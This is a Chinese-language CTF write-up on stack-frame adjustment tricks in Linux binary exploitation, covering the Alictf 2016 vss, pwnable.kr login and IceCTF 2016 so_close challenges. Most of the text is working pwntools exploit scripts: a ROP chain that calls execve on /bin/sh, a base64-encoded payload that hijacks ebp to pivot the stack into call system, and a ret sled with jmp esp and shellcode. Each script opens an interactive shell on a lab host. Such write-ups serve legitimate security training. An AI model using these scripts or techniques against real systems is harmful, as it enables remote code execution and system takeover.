Linux pwn栈帧调整技巧

1、 Alictf 2016-vss

该题还是用rop来执行sys_execv。然而在调试过程中发现需要调整栈帧,所以需要找一个能调整栈帧的gadget,

在padding后面不能直接跟ROPgadget,只能跟add rsp,0x58
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
print io.recv()
addesp=0x46f205	#0x000000000046f205 : add rsp, 0x58 ; ret
poprdx=0x43ae29	#0x000000000043ae29 : pop rdx ; pop rsi ; ret
poprdi=0x401823	#0x0000000000401823 : pop rdi ; ret
sysread=0x437ea9
poprax=0x46f208	#0x000000000046f208 : pop rax ; ret
syscall=0x45f2a5	#0x000000000045f2a5 : syscall ; ret
pay='py'
pay=pay.ljust(0x48,'a')+p64(addesp)
pay+='a'*8
pay+=p64(poprdx)
pay+=p64(8)	#rdx
pay+=p64(0x6c5cb0) #/bin/sh\x00 rsi
pay+=p64(poprdi)
pay+=p64(0)
pay+=p64(sysread)
pay+=p64(poprdx)
pay+=p64(0)
pay+=p64(0)
pay+=p64(poprdi)
pay+=p64(0x6c5cb0)
pay+=p64(poprax)
pay+=p64(0x3b)
pay+=p64(syscall)
io.send(pay)
sleep(0.5)
io.send('/bin/sh\x00')
io.interactive()
2、pwnable.kr-login

程序里面有一个memcpy的栈溢出,但是只能覆盖到ebp,还提供了一个可供利用的位于0x0811eb40的全局变量input,考虑利用两次leave;retn来劫持栈并最终劫持eip。

  • 在auth函数退出时,劫持ebp到input所在的.bss段,即0x0811eb40;
  • 在main函数退出时,由于leave指令的作用esp会指向0x811eb44,然后retn指令会跳转到内存地址为0x811eb44处执行call system

auth函数的栈
#!/bin/bash/python
from pwn import*
from base64 import*
context.update(arch = 'i386', os = 'linux', timeout = 1)    
io = remote('172.17.0.2', 10001)
callsystem=0x08049284
pay="aaaa"
pay+=p32(callsystem)
pay+=p32(0x0811eb40)	#input
io.sendline(b64encode(pay))
io.interactive()
3、Ice ctf 2016 so_close

程序很简洁,read函数向长度为268个字节的缓冲区buf中读入272个字节,还有4字节溢出,和上题一样考虑利用两次leave来劫持栈。但是和上题不同的地方是,这次无法将栈劫持到一个精确的位置,只能通过将末位字节修改为0(地址变小了)对地址进行微调,尽可能把栈劫持到buf所在的位置,然后利用其他技巧跳转到shellcode。

from pwn import*
context.update(arch = 'i386', os = 'linux', timeout = 1)    
io = remote('172.17.0.2', 10001)
pay=p32(0x080484b5)*55+p32(0x0804859f)+asm(shellcraft.i386.linux.sh())
#0x080484b5 is retn, 0x0804859f is 'jmp esp'
io.send(pay+'\x00')
io.interactive()

问题在于有时候无法将栈劫持到适当的地方,因此该shellcode不能保证一次性成功,只能多试几次。